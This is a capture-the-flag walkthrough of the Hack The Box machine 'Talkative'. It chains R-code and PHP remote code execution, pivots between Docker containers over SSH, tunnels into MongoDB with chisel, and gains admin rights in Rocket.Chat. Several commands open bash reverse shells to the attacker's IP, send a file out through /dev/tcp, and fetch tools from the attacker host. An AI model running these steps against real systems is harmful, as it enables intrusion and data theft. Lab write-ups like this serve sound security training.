Talkative
23 minutes to read
CAP_DAC_READ_SEARCH
enabled, which allows us to read files as root
from the host machine using an exploit. Moreover, the container is also vulnerable to another exploit to write arbitrary files as root
on the host machine- OS: Linux
- Difficulty: Hard
- IP Address: 10.10.11.155
- Release: 09 / 04 / 2022
Port scanning
# Nmap 7.93 scan initiated as: nmap -sC -sV -o nmap/targeted 10.10.11.155 -p 80,3000,8080,8081,8082
Nmap scan report for 10.10.11.155
Host is up (0.069s latency).
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.52
|_http-server-header: Apache/2.4.52 (Debian)
|_http-title: Did not follow redirect to http://talkative.htb
3000/tcp open ppp?
| fingerprint-strings:
| GetRequest:
| HTTP/1.1 200 OK
| X-XSS-Protection: 1
| X-Instance-ID: Me5YLwebzMWLdRR8M
| Content-Type: text/html; charset=utf-8
| Vary: Accept-Encoding
| Date:
| Connection: close
| <!DOCTYPE html>
| <html>
| <head>
| <link rel="stylesheet" type="text/css" class="__meteor-css__" href="/3ab95015403368c507c78b4228d38a494ef33a08.css?meteor_css_resource=true">
| <meta charset="utf-8" />
| <meta http-equiv="content-type" content="text/html; charset=utf-8" />
| <meta http-equiv="expires" content="-1" />
| <meta http-equiv="X-UA-Compatible" content="IE=edge" />
| <meta name="fragment" content="!" />
| <meta name="distribution" content="global" />
| <meta name="rating" content="general" />
| <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1, user-scalable=no" />
| <meta name="mobile-web-app-capable" content="yes" />
| <meta name="apple-mobile-web-app-capable" conte>
| HTTPOptions:
| HTTP/1.1 200 OK
| X-XSS-Protection: 1
| X-Instance-ID: Me5YLwebzMWLdRR8M
| Content-Type: text/html; charset=utf-8
| Vary: Accept-Encoding
| Date:
| Connection: close
| <!DOCTYPE html>
| <html>
| <head>
| <link rel="stylesheet" type="text/css" class="__meteor-css__" href="/3ab95015403368c507c78b4228d38a494ef33a08.css?meteor_css_resource=true">
| <meta charset="utf-8" />
| <meta http-equiv="content-type" content="text/html; charset=utf-8" />
| <meta http-equiv="expires" content="-1" />
| <meta http-equiv="X-UA-Compatible" content="IE=edge" />
| <meta name="fragment" content="!" />
| <meta name="distribution" content="global" />
| <meta name="rating" content="general" />
| <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1, user-scalable=no" />
| <meta name="mobile-web-app-capable" content="yes" />
| <meta name="apple-mobile-web-app-capable" conte>
| Help, NCP:
|_ HTTP/1.1 400 Bad Request
8080/tcp open http Tornado httpd 5.0
|_http-title: jamovi
|_http-server-header: TornadoServer/5.0
8081/tcp open http Tornado httpd 5.0
|_http-title: 404: Not Found
|_http-server-header: TornadoServer/5.0
8082/tcp open http Tornado httpd 5.0
|_http-server-header: TornadoServer/5.0
|_http-title: 404: Not Found
Service Info: Host: 172.17.0.16
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done -- 1 IP address (1 host up) scanned in 20.78 seconds
This machine has ports 80, 3000, 8080, 8081 and 8082 (HTTP) open.
Enumeration
If we go to http://10.10.11.155
we will be redirected to http://talkative.htb
. After setting the domain in /etc/hosts
, we have this landing page:
In this page we can see some usernames:
Let’s go to http://10.10.11.155:3000
:
It is a Rocket.Chat server, but we don’t have credentials yet.
On port 8080 we find a Jamovi application:
Here we are allowed to execute R code. The interesting thing is to execute system commands using a function called system
:
Container enumeration
Although we don’t see the expected output (just the error code), the command was executed. Therefore, we can obtain a reverse shell:
$ echo -n 'bash -i >& /dev/tcp/10.10.17.44/4444 0>&1' | base64
YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTcuNDQvNDQ0NCAwPiYx
$ nc -nlvp 4444
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 10.10.11.155.
Ncat: Connection from 10.10.11.155:38970.
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@b06821bbda78:/# script /dev/null -c bash
script /dev/null -c bash
Script started, file is /dev/null
root@b06821bbda78:/# ^Z
zsh: suspended ncat -nlvp 4444
$ stty raw -echo; fg
[1] + continued ncat -nlvp 4444
reset xterm
root@b06821bbda78:/# export TERM=xterm
root@b06821bbda78:/# export SHELL=bash
root@b06821bbda78:/# stty rows 50 columns 158
Now we are inside a Docker container:
root@b06821bbda78:/# hostname -i
172.18.0.2
root@b06821bbda78:/# ls -la
total 80
drwxr-xr-x 1 root root 4096 Mar 7 23:18 .
drwxr-xr-x 1 root root 4096 Mar 7 23:18 ..
-rwxr-xr-x 1 root root 0 Aug 15 2021 .dockerenv
drwxr-xr-x 2 root root 4096 Jul 22 2021 bin
drwxr-xr-x 2 root root 4096 Apr 12 2016 boot
drwxr-xr-x 5 root root 340 Aug 10 11:20 dev
drwxr-xr-x 1 root root 4096 Aug 15 2021 etc
drwxr-xr-x 2 root root 4096 Apr 12 2016 home
drwxr-xr-x 1 root root 4096 Aug 15 2021 lib
drwxr-xr-x 2 root root 4096 Jul 22 2021 lib64
drwxr-xr-x 2 root root 4096 Jul 22 2021 media
drwxr-xr-x 2 root root 4096 Jul 22 2021 mnt
drwxr-xr-x 2 root root 4096 Jul 22 2021 opt
dr-xr-xr-x 488 root root 0 Aug 10 11:20 proc
drwx------ 1 root root 4096 Mar 7 23:19 root
drwxr-xr-x 1 root root 4096 Aug 15 2021 run
drwxr-xr-x 1 root root 4096 Aug 15 2021 sbin
drwxr-xr-x 2 root root 4096 Jul 22 2021 srv
dr-xr-xr-x 13 root root 0 Aug 10 11:20 sys
drwxrwxrwt 1 root root 4096 Aug 10 11:41 tmp
drwxr-xr-x 1 root root 4096 Jul 22 2021 usr
drwxr-xr-x 1 root root 4096 Jul 22 2021 var
Inside /root
we find some interesting files:
root@b06821bbda78:/# ls -la /root
total 28
drwx------ 1 root root 4096 Mar 7 23:19 .
drwxr-xr-x 1 root root 4096 Aug 10 11:46 ..
lrwxrwxrwx 1 root root 9 Mar 7 23:19 .bash_history -> /dev/null
-rw-r--r-- 1 root root 3106 Oct 22 2015 .bashrc
drwxr-xr-x 3 root root 4096 Aug 10 11:41 .jamovi
-rw-r--r-- 1 root root 148 Aug 17 2015 .profile
drwxrwxrwx 2 root root 4096 Aug 15 2021 Documents
-rw-r--r-- 1 root root 2192 Aug 15 2021 bolt-administration.omv
root@b06821bbda78:/# file /root/bolt-administration.omv
/root/bolt-administration.omv: Zip archive data, at least v2.0 to extract
root@b06821bbda78:/# ls -la /root/.jamovi/
total 16
drwxr-xr-x 3 root root 4096 Feb 8 19:24 .
drwx------ 1 root root 4096 Mar 7 2022 ..
-rw-r--r-- 1 root root 0 Feb 8 19:18 41337.port
drwxr-xr-x 3 root root 4096 Aug 15 2021 modules
-rw-r--r-- 1 root root 2 Feb 8 19:24 settings.json
root@b06821bbda78:/# ls -la /root/Documents/
total 8
drwxrwxrwx 2 root root 4096 Aug 15 2021 .
drwx------ 1 root root 4096 Mar 7 2022 ..
Let’s transfer bolt-administration.omv
to our machine, which is a ZIP archive (the rest of files are not interesting due to their size):
root@b06821bbda78:/# cat /root/bolt-administration.omv > /dev/tcp/10.10.17.44/4444
$ nc -nlvp 4444 > bolt-administration.omv.zip
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 10.10.11.155.
Ncat: Connection from 10.10.11.155:39474.
$ file bolt-administration.omv.zip
bolt-administration.omv: Zip archive data, at least v2.0 to extract, compression method=deflate
$ unzip -l bolt-administration.omv.zip
Archive: bolt-administration.omv.zip
Length Date Time Name
--------- ---------- ----- ----
106 08-14-2021 23:16 META-INF/MANIFEST.MF
106 08-14-2021 23:16 meta
2505 08-14-2021 23:16 index.html
1055 08-14-2021 23:16 metadata.json
433 08-14-2021 23:16 xdata.json
48 08-14-2021 23:16 data.bin
50 08-14-2021 23:16 01 empty/analysis
--------- -------
4303 7 files
$ unzip bolt-administration.omv.zip
Archive: bolt-administration.omv.zip
inflating: META-INF/MANIFEST.MF
inflating: meta
inflating: index.html
inflating: metadata.json
inflating: xdata.json
inflating: data.bin
inflating: 01 empty/analysis
Now we have some JSON files. If we examine xdata.json
, we can find some passwords for users matt
, janit
and saul
(the ones we saw before):
$ cat xdata.json | jq
{
"A": {
"labels": [
[
0,
"Username",
"Username",
false
],
[
1,
"matt@talkative.htb",
"matt@talkative.htb",
false
],
[
2,
"janit@talkative.htb",
"janit@talkative.htb",
false
],
[
3,
"saul@talkative.htb",
"saul@talkative.htb",
false
]
]
},
"B": {
"labels": [
[
0,
"Password",
"Password",
false
],
[
1,
"jeO09ufhWD<s",
"jeO09ufhWD<s",
false
],
[
2,
"bZ89h}V<S_DA",
"bZ89h}V<S_DA",
false
],
[
3,
")SQWGm>9KHEA",
")SQWGm>9KHEA",
false
]
]
},
"C": {
"labels": []
}
}
We can try to access Rocket.Chat using these usernames and passwords (all combinations), and none of them work…
Enumerating more services
Let’s use ffuf
to enumerate some routes:
$ ffuf -w $WORDLISTS/dirbuster/directory-list-2.3-medium.txt -u http://talkative.htb/FUZZ -t 1
[Status: 200, Size: 15838, Words: 2314, Lines: 258, Duration: 243ms]
* FUZZ: search
[Status: 200, Size: 18466, Words: 2526, Lines: 316, Duration: 285ms]
* FUZZ: products
[Status: 301, Size: 342, Words: 60, Lines: 12, Duration: 167ms]
* FUZZ: en
[Status: 301, Size: 314, Words: 20, Lines: 10, Duration: 132ms]
* FUZZ: files
[Status: 200, Size: 16163, Words: 2342, Lines: 264, Duration: 240ms]
* FUZZ: page
[Status: 200, Size: 18386, Words: 2509, Lines: 316, Duration: 167ms]
* FUZZ: people
[Status: 200, Size: 18466, Words: 2526, Lines: 316, Duration: 201ms]
* FUZZ: product
[Status: 200, Size: 16163, Words: 2342, Lines: 264, Duration: 191ms]
* FUZZ: pages
[Status: 301, Size: 342, Words: 60, Lines: 12, Duration: 119ms]
* FUZZ: de
[Status: 200, Size: 37217, Words: 5077, Lines: 618, Duration: 218ms]
* FUZZ: homepage
[Status: 301, Size: 342, Words: 60, Lines: 12, Duration: 174ms]
* FUZZ: fr
[Status: 301, Size: 315, Words: 20, Lines: 10, Duration: 186ms]
* FUZZ: assets
[Status: 301, Size: 342, Words: 60, Lines: 12, Duration: 166ms]
* FUZZ: it
[Status: 301, Size: 342, Words: 60, Lines: 12, Duration: 131ms]
* FUZZ: nl
[Status: 301, Size: 342, Words: 60, Lines: 12, Duration: 141ms]
* FUZZ: es
[Status: 301, Size: 342, Words: 60, Lines: 12, Duration: 128ms]
* FUZZ: pl
[Status: 301, Size: 315, Words: 20, Lines: 10, Duration: 261ms]
* FUZZ: thumbs
[Status: 301, Size: 342, Words: 60, Lines: 12, Duration: 90ms]
* FUZZ: ru
[Status: 301, Size: 342, Words: 60, Lines: 12, Duration: 176ms]
* FUZZ: ja
[Status: 301, Size: 342, Words: 60, Lines: 12, Duration: 91ms]
* FUZZ: hu
[Status: 301, Size: 314, Words: 20, Lines: 10, Duration: 177ms]
* FUZZ: theme
[Status: 301, Size: 342, Words: 60, Lines: 12, Duration: 149ms]
* FUZZ: is
[Status: 200, Size: 18386, Words: 2509, Lines: 316, Duration: 166ms]
* FUZZ: person
[Status: 301, Size: 342, Words: 60, Lines: 12, Duration: 122ms]
* FUZZ: nb
[Status: 301, Size: 316, Words: 20, Lines: 10, Duration: 163ms]
* FUZZ: bundles
[Status: 301, Size: 342, Words: 60, Lines: 12, Duration: 119ms]
* FUZZ: nn
[Status: 301, Size: 354, Words: 60, Lines: 12, Duration: 164ms]
* FUZZ: pt_BR
[Status: 302, Size: 290, Words: 60, Lines: 12, Duration: 152ms]
* FUZZ: bolt
[Status: 200, Size: 37212, Words: 5089, Lines: 616, Duration: 285ms]
* FUZZ:
[Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 402ms]
* FUZZ: 11906
[Status: 301, Size: 623, Words: 85, Lines: 16, Duration: 169ms]
* FUZZ: nl_NL
[Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 150ms]
* FUZZ: server-status
We see /bolt
. If we visit this site, we are redirected to a login form for Bolt CMS:
Trying again the previous credentials, we find out that username admin
and password jeO09ufhWD<s
work (the username was a guess):
Foothold
Since we are admin
(or saul
, as shown in the top-right corner), probably we can make some critical changes to the service. For instance, there’s a “Configuration” section:
Clicking in “All configuration files”, we have this:
And here we can select any PHP file, such as bundles.php
:
At this point, we can try to get Remote Code Execution entering the following PHP code:
There we have it:
So let’s get another reverse shell:
$ nc -nlvp 4444
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 10.10.11.155.
Ncat: Connection from 10.10.11.155:34606.
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
www-data@e0ad934a50c1:/var/www/talkative.htb/bolt/public$ cd /
cd /
www-data@e0ad934a50c1:/$ script /dev/null -c bash
script /dev/null -c bash
Script started, output log file is '/dev/null'.
www-data@e0ad934a50c1:/$ ^Z
zsh: suspended ncat -nlvp 4444
$ stty raw -echo; fg
[1] + continued ncat -nlvp 4444
reset xterm
www-data@e0ad934a50c1:/$ export TERM=xterm
www-data@e0ad934a50c1:/$ export SHELL=bash
www-data@e0ad934a50c1:/$ stty rows 50 columns 158
And we are yet in another Docker container:
www-data@e0ad934a50c1:/$ hostname -i
172.17.0.16
www-data@e0ad934a50c1:/$ ls -la
total 80
drwxr-xr-x 1 root root 4096 Feb 8 21:05 .
drwxr-xr-x 1 root root 4096 Feb 8 21:05 ..
-rwxr-xr-x 1 root root 0 Feb 8 21:05 .dockerenv
drwxr-xr-x 1 root root 4096 Mar 6 2022 bin
drwxr-xr-x 2 root root 4096 Dec 11 2021 boot
drwxr-xr-x 5 root root 340 Feb 8 21:05 dev
drwxr-xr-x 1 root root 4096 Feb 8 21:05 etc
drwxr-xr-x 2 root root 4096 Dec 11 2021 home
drwxr-xr-x 1 root root 4096 Mar 1 2022 lib
drwxr-xr-x 2 root root 4096 Feb 28 2022 lib64
drwxr-xr-x 2 root root 4096 Feb 28 2022 media
drwxr-xr-x 2 root root 4096 Feb 28 2022 mnt
drwxr-xr-x 2 root root 4096 Feb 28 2022 opt
dr-xr-xr-x 407 root root 0 Feb 8 21:05 proc
drwx------ 1 root root 4096 Mar 6 2022 root
drwxr-xr-x 1 root root 4096 Mar 1 2022 run
drwxr-xr-x 1 root root 4096 Mar 1 2022 sbin
drwxr-xr-x 2 root root 4096 Feb 28 2022 srv
dr-xr-xr-x 13 root root 0 Feb 8 21:05 sys
drwxrwxrwt 1 root root 4096 Feb 8 23:52 tmp
drwxr-xr-x 1 root root 4096 Feb 28 2022 usr
drwxr-xr-x 1 root root 4096 Mar 1 2022 var
Network enumeration
From here we can try to enumerate the internal ports of the machine. We could have tried in the first container as well, but no ports are visible from there (notice that the first container’s IP address is 172.18.0.2
and the current container’s IP address is 172.17.0.16
, which is in another network segment).
To enumerate, we can write a simple Bash script:
#!/bin/bash
ip=$1
for port in {1..65535}; do
timeout 1 echo 2>/dev/null > /dev/tcp/$ip/$port && echo "$ip:$port OPEN" &
done
wait
The host machine will be at 172.17.0.1
:
www-data@33964658334d:/$ cd /tmp
www-data@33964658334d:/tmp$ nano port_scan.sh
www-data@33964658334d:/tmp$ bash port_scan.sh 172.17.0.1
172.17.0.1:22 OPEN
172.17.0.1:80 OPEN
172.17.0.1:6002 OPEN
172.17.0.1:6003 OPEN
172.17.0.1:6000 OPEN
172.17.0.1:6001 OPEN
172.17.0.1:6005 OPEN
172.17.0.1:6008 OPEN
172.17.0.1:6007 OPEN
172.17.0.1:6009 OPEN
172.17.0.1:6004 OPEN
172.17.0.1:6011 OPEN
172.17.0.1:6013 OPEN
172.17.0.1:6006 OPEN
172.17.0.1:6010 OPEN
172.17.0.1:6014 OPEN
172.17.0.1:6012 OPEN
172.17.0.1:6015 OPEN
172.17.0.1:8081 OPEN
172.17.0.1:8082 OPEN
172.17.0.1:8080 OPEN
^C
There are a lot of open ports, but the interesting one is port 22 (SSH), which is not exposed.
Access via SSH
At this point, we could use chisel
for port forwarding, but luckily, ssh
is installed in the container:
www-data@e0ad934a50c1:/tmp$ which ssh
/usr/bin/ssh
Let’s try to access using the above credentials (saul:jeO09ufhWD<s
works):
www-data@e0ad934a50c1:/tmp$ ssh saul@172.17.0.1
saul@172.17.0.1's password:
saul@talkative:~$ cat user.txt
0ec2086f5500813982778db81f66c29c
System enumeration
These are all open ports using netstat -nat
:
saul@talkative:~$ netstat -nat
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 172.17.0.1:6000 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:8080 0.0.0.0:* LISTEN
tcp 0 0 172.17.0.1:6001 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:8081 0.0.0.0:* LISTEN
tcp 0 0 172.17.0.1:6002 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:8082 0.0.0.0:* LISTEN
tcp 0 0 172.17.0.1:6003 0.0.0.0:* LISTEN
tcp 0 0 172.17.0.1:6004 0.0.0.0:* LISTEN
tcp 0 0 172.17.0.1:6005 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN
tcp 0 0 172.17.0.1:6006 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN
tcp 0 0 172.17.0.1:6007 0.0.0.0:* LISTEN
tcp 0 0 172.17.0.1:6008 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:3000 0.0.0.0:* LISTEN
tcp 0 0 172.17.0.1:6009 0.0.0.0:* LISTEN
tcp 0 0 172.17.0.1:6010 0.0.0.0:* LISTEN
tcp 0 0 172.17.0.1:6011 0.0.0.0:* LISTEN
tcp 0 0 172.17.0.1:6012 0.0.0.0:* LISTEN
tcp 0 0 172.17.0.1:6013 0.0.0.0:* LISTEN
tcp 0 0 172.17.0.1:6014 0.0.0.0:* LISTEN
tcp 0 0 172.17.0.1:6015 0.0.0.0:* LISTEN
tcp 0 0 172.17.0.1:55454 172.17.0.2:27017 TIME_WAIT
tcp 0 0 172.17.0.1:22 172.17.0.16:45724 ESTABLISHED
tcp 0 1 10.10.11.155:36560 1.1.1.1:53 SYN_SENT
tcp 0 0 172.17.0.1:55456 172.17.0.2:27017 TIME_WAIT
tcp6 0 0 :::8080 :::* LISTEN
tcp6 0 0 :::8081 :::* LISTEN
tcp6 0 0 :::8082 :::* LISTEN
There is one that looks promising: 27017 (MongoDB).
saul@talkative:~$ curl 172.17.0.2:27017
It looks like you are trying to access MongoDB over HTTP on the native driver port.
Now it’s time to upload chisel
and use port forwarding:
saul@talkative:/tmp$ wget -q 10.10.17.44/chisel
saul@talkative:/tmp$ chmod +x chisel
saul@talkative:/tmp$ ./chisel client 10.10.17.44:1234 R:27017:172.17.0.2:27017
client: Connecting to ws://10.10.17.44:1234
client: Connected (Latency 82.288713ms)
$ python3 -m http.server 80
Serving HTTP on :: port 80 (http://[::]:80/) ...
::ffff:10.10.11.155 - - [] "GET /chisel HTTP/1.1" 200 -
^C
Keyboard interrupt received, exiting.
$ ./chisel server --reverse -p 1234
server: Reverse tunnelling enabled
server: Fingerprint BZ0iGpzJ2ZVb07KJAZ5ZhEqDmyMzgzKk1IAqSx07a+k=
server: Listening on http://0.0.0.0:1234
server: session#1: tun: proxy#R:27017=>172.17.0.2:27017: Listening
From our machine, we have port 27017 open, which is redirected to 172.17.0.2:27017
. Using mongosh
we can interact with the database manager (no credentials needed):
$ mongosh --quiet
rs0 [direct: primary] test> show dbs;
admin 104.00 KiB
config 124.00 KiB
local 11.43 MiB
meteor 4.65 MiB
MongoDB enumeration
The first three databases seem to be default ones:
rs0 [direct: primary] test> use admin;
switched to db admin
rs0 [direct: primary] admin> show collections;
system.keys
system.version
rs0 [direct: primary] admin> use config;
switched to db config
rs0 [direct: primary] config> show collections;
image_collection
transactions
system.sessions
rs0 [direct: primary] config> use local;
switched to db local
rs0 [direct: primary] local> show collections;
oplog.rs
replset.election
replset.minvalid
replset.oplogTruncateAfterPoint
startup_log
system.replset
system.rollback.id
So, let’s examine meteor
:
rs0 [direct: primary] local> use meteor;
switched to db meteor
rs0 [direct: primary] meteor> show collections;
_raix_push_app_tokens
_raix_push_notifications
instances
meteor_accounts_loginServiceConfiguration
meteor_oauth_pendingCredentials
meteor_oauth_pendingRequestTokens
migrations
rocketchat__trash
rocketchat_apps
rocketchat_apps_logs
rocketchat_apps_persistence
rocketchat_avatars
rocketchat_avatars.chunks
rocketchat_avatars.files
rocketchat_credential_tokens
rocketchat_cron_history
rocketchat_custom_emoji
rocketchat_custom_sounds
rocketchat_custom_user_status
rocketchat_export_operations
rocketchat_federation_dns_cache
rocketchat_federation_keys
rocketchat_federation_room_events
rocketchat_federation_servers
rocketchat_import
rocketchat_integration_history
rocketchat_integrations
rocketchat_invites
rocketchat_livechat_agent_activity
rocketchat_livechat_custom_field
rocketchat_livechat_department
rocketchat_livechat_department_agents
rocketchat_livechat_external_message
rocketchat_livechat_inquiry
rocketchat_livechat_office_hour
rocketchat_livechat_page_visited
rocketchat_livechat_trigger
rocketchat_livechat_visitor
rocketchat_message
rocketchat_message_read_receipt
rocketchat_oauth_apps
rocketchat_oembed_cache
rocketchat_permissions
rocketchat_reports
rocketchat_roles
rocketchat_room
rocketchat_sessions
rocketchat_settings
rocketchat_smarsh_history
rocketchat_statistics
rocketchat_subscription
rocketchat_uploads
rocketchat_user_data_files
rocketchat_webdav_accounts
ufsTokens
users
usersSessions
view_livechat_queue_status [view]
system.views
Much more interesting. For instance, let’s see what’s inside collection users
:
rs0 [direct: primary] meteor> db.users.find().pretty();
[
{
_id: 'rocket.cat',
createdAt: ISODate("2021-08-10T19:44:00.224Z"),
avatarOrigin: 'local',
name: 'Rocket.Cat',
username: 'rocket.cat',
status: 'online',
statusDefault: 'online',
utcOffset: 0,
active: true,
type: 'bot',
_updatedAt: ISODate("2021-08-10T19:44:00.615Z"),
roles: [ 'bot' ]
},
{
_id: 'ZLMid6a4h5YEosPQi',
createdAt: ISODate("2021-08-10T19:49:48.673Z"),
services: {
password: {
bcrypt: '$2b$10$jzSWpBq.eJ/yn/Pdq6ilB.UO/kXHB1O2A.b2yooGebUbh69NIUu5y'
},
email: {
verificationTokens: [
{
token: 'dgATW2cAcF3adLfJA86ppQXrn1vt6omBarI8VrGMI6w',
address: 'saul@talkative.htb',
when: ISODate("2021-08-10T19:49:48.738Z")
}
]
},
resume: { loginTokens: [] }
},
emails: [ { address: 'saul@talkative.htb', verified: false } ],
type: 'user',
status: 'offline',
active: true,
_updatedAt: ISODate("2023-02-08T21:16:12.302Z"),
roles: [ 'admin' ],
name: 'Saul Goodman',
lastLogin: ISODate("2022-03-15T17:06:56.543Z"),
statusConnection: 'offline',
username: 'admin',
utcOffset: 0
}
]
Privilege escalation
There’s a username called admin
(actually, Saul Goodman). We can see a password hash (using bcrypt
). We could try to crack this hash with john
, but it is useless since we have access to the database. We can even change his hash:
$ python3 -q
>>> import bcrypt
>>> bcrypt.hashpw(b'asdf', bcrypt.gensalt(10))
b'$2b$10$tAQPgGNAvArtMroi/yrUhON.xMjegn74ppD0cItYTlT2wxzGuB/Pe'
Now, admin
should have asdf
as password:
rs0 [direct: primary] meteor> db.users.updateOne({ _id: 'ZLMid6a4h5YEosPQi' }, { $set: { services: { password: { bcrypt: '$2b$12$XxDxpzkQHvcOP55Y/WZ6GuHNKdaCX
u6wz7P74naKv3x3cYeg9oLDK' } } } });
{
acknowledged: true,
insertedId: null,
matchedCount: 1,
modifiedCount: 1,
upsertedCount: 0
}
rs0 [direct: primary] meteor> db.users.find({}, { services: 1 }).pretty();
[
{ _id: 'rocket.cat' },
{
_id: 'ZLMid6a4h5YEosPQi',
services: {
password: {
bcrypt: '$2b$12$XxDxpzkQHvcOP55Y/WZ6GuHNKdaCXu6wz7P74naKv3x3cYeg9oLDK'
}
}
}
]
But if we try access Rocket.Chat, it says wrong credentials… Well, we can still register a new account:
Accessing Rocket.Chat as administrator
Now we have this new user in the database:
rs0 [direct: primary] meteor> db.users.find({ name: 'asdf' }).pretty();
[
{
_id: 'Fs9i99sjZPM767PeP',
createdAt: ISODate("2023-02-09T00:57:21.808Z"),
services: {
password: {
bcrypt: '$2b$10$saX2GRiRUp00yKbj9Kao4eCh3SRG1w6aCGQzXla4UcTah0GkofD6K',
reset: {
token: 'pIexTA3cnqeSWhBJZcCbglXtZpIV48nh0DviXWysiz4',
email: 'asdf@talkative.htb',
when: ISODate("2023-02-09T00:57:28.600Z"),
reason: 'enroll'
}
},
email: {
verificationTokens: [
{
token: 'rKgGJ9bE8KyrXwnw1B9nQK8iHrw1NCYYEdGYdtHfoP8',
address: 'asdf@talkative.htb',
when: ISODate("2023-02-09T00:57:21.861Z")
}
]
},
resume: {
loginTokens: [
{
when: ISODate("2023-02-09T00:57:22.080Z"),
hashedToken: '4OkcrRSc4miDuaYPu6r4aKySrY6/+R7gyqO1mQ5VZ9k='
}
]
}
},
emails: [ { address: 'asdf@talkative.htb', verified: false } ],
type: 'user',
status: 'online',
active: true,
_updatedAt: ISODate("2023-02-09T01:01:32.661Z"),
roles: [ 'user' ],
name: 'asdf',
lastLogin: ISODate("2023-02-09T01:01:32.616Z"),
statusConnection: 'online',
utcOffset: 1,
username: 'asdf'
}
]
Let’s update the role to admin
:
rs0 [direct: primary] meteor> db.users.updateOne({ name: 'asdf' }, { $set: { roles: [ 'admin' ] } });
{
acknowledged: true,
insertedId: null,
matchedCount: 1,
modifiedCount: 1,
upsertedCount: 0
}
Now, we refresh the application and we will see an administration panel:
Looking through all the options, “Integrations” looks interesting:
Here we can create incoming/outgoing webhooks:
For example, let’s create an incoming webhook:
Both integrations have the option to enter a Node.js script that will be executed when the webhook is triggered. Looking at the documentation and looking for ways to execute system commands within Rocket.Chat, we find this GitHub Gist. Therefore, let’s obtain yet another reverse shell:
To trigger the webhook (and the reverse shell), we can use the curl
command:
$ curl -X POST -H 'Content-Type: application/json' --data '{"text":"pwn","attachments":[{}]}' http://10.10.11.155:3000/hooks/cZKmjXbDpC6G4Gu5h/XqvXNct3Sg6KfrHMdjZACr3FF7uLpD59qdtmoZ4qmjPZ2zCt
$ nc -nlvp 4444
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 10.10.11.155.
Ncat: Connection from 10.10.11.155:55706.
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@c150397ccd63:/app/bundle/programs/server# cd
cd
root@c150397ccd63:~# script /dev/null -c bash
script /dev/null -c bash
Script started, file is /dev/null
root@c150397ccd63:~# ^Z
zsh: suspended ncat -nlvp 4444
$ stty raw -echo; fg
[1] + continued ncat -nlvp 4444
reset xterm
root@c150397ccd63:~# export TERM=xterm
root@c150397ccd63:~# export SHELL=bash
root@c150397ccd63:~# stty rows 50 columns 158
And we arrive at yet another Docker container:
root@c150397ccd63:~# hostname -i
172.17.0.3
root@c150397ccd63:~# ls -la /
total 76
drwxr-xr-x 1 root root 4096 Aug 10 2021 .
drwxr-xr-x 1 root root 4096 Aug 10 2021 ..
-rwxr-xr-x 1 root root 0 Aug 10 2021 .dockerenv
drwxr-xr-x 1 rocketchat rocketchat 4096 Aug 2 2021 app
drwxr-xr-x 2 root root 4096 Jul 21 2021 bin
drwxr-xr-x 2 root root 4096 Jun 13 2021 boot
drwxr-xr-x 5 root root 340 Feb 8 21:05 dev
drwxr-xr-x 1 root root 4096 Aug 10 2021 etc
drwxr-xr-x 2 root root 4096 Jun 13 2021 home
drwxr-xr-x 1 root root 4096 Aug 2 2021 lib
drwxr-xr-x 2 root root 4096 Jul 21 2021 lib64
drwxr-xr-x 2 root root 4096 Jul 21 2021 media
drwxr-xr-x 2 root root 4096 Jul 21 2021 mnt
drwxr-xr-x 2 root root 4096 Jul 21 2021 opt
dr-xr-xr-x 420 root root 0 Feb 8 21:05 proc
drwx------ 1 root root 4096 Aug 2 2021 root
drwxr-xr-x 3 root root 4096 Jul 21 2021 run
drwxr-xr-x 2 root root 4096 Jul 21 2021 sbin
drwxr-xr-x 2 root root 4096 Jul 21 2021 srv
dr-xr-xr-x 13 root root 0 Feb 8 21:05 sys
drwxrwxrwt 1 root root 4096 Feb 9 02:03 tmp
drwxr-xr-x 1 root root 4096 Jul 21 2021 usr
drwxr-xr-x 1 root root 4096 Jul 21 2021 var
Exploiting capabilities
The problem here is that we don’t have useful commands to transfer files between the container and our machine:
root@c150397ccd63:~# which nc
root@c150397ccd63:~# which curl
root@c150397ccd63:~# which wget
We could still use bash
, but I feel more confortable with Node.js:
root@c150397ccd63:~# which node
/usr/local/bin/node
I will use the following script to download files inside the container using an HTTP request:
#!/usr/bin/env node
const http = require('http')
const path = process.argv[2]
const req = http.get('http://10.10.17.44:8000' + path, res => {
let chunks = []
res.on('data', chunk => chunks.push(chunk))
res.on('end', () => console.log(Buffer.concat(chunks).toString()))
});
req.on('error', e => console.log('ERROR: ' + e.message))
Now we can upload enumeration scripts such as linpeas.sh
:
root@c150397ccd63:~# cat > get.js
#!/usr/bin/env node
const http = require('http')
const path = process.argv[2]
const req = http.get('http://10.10.17.44:8000' + path, res => {
let chunks = []
res.on('data', chunk => chunks.push(chunk))
res.on('end', () => console.log(Buffer.concat(chunks).toString()))
});
req.on('error', e => console.log('ERROR: ' + e.message))
^C
root@c150397ccd63:~# node get.js /linpeas.sh > linpeas.sh
$ python3 -m http.server
Serving HTTP on :: port 8000 (http://[::]:8000/) ...
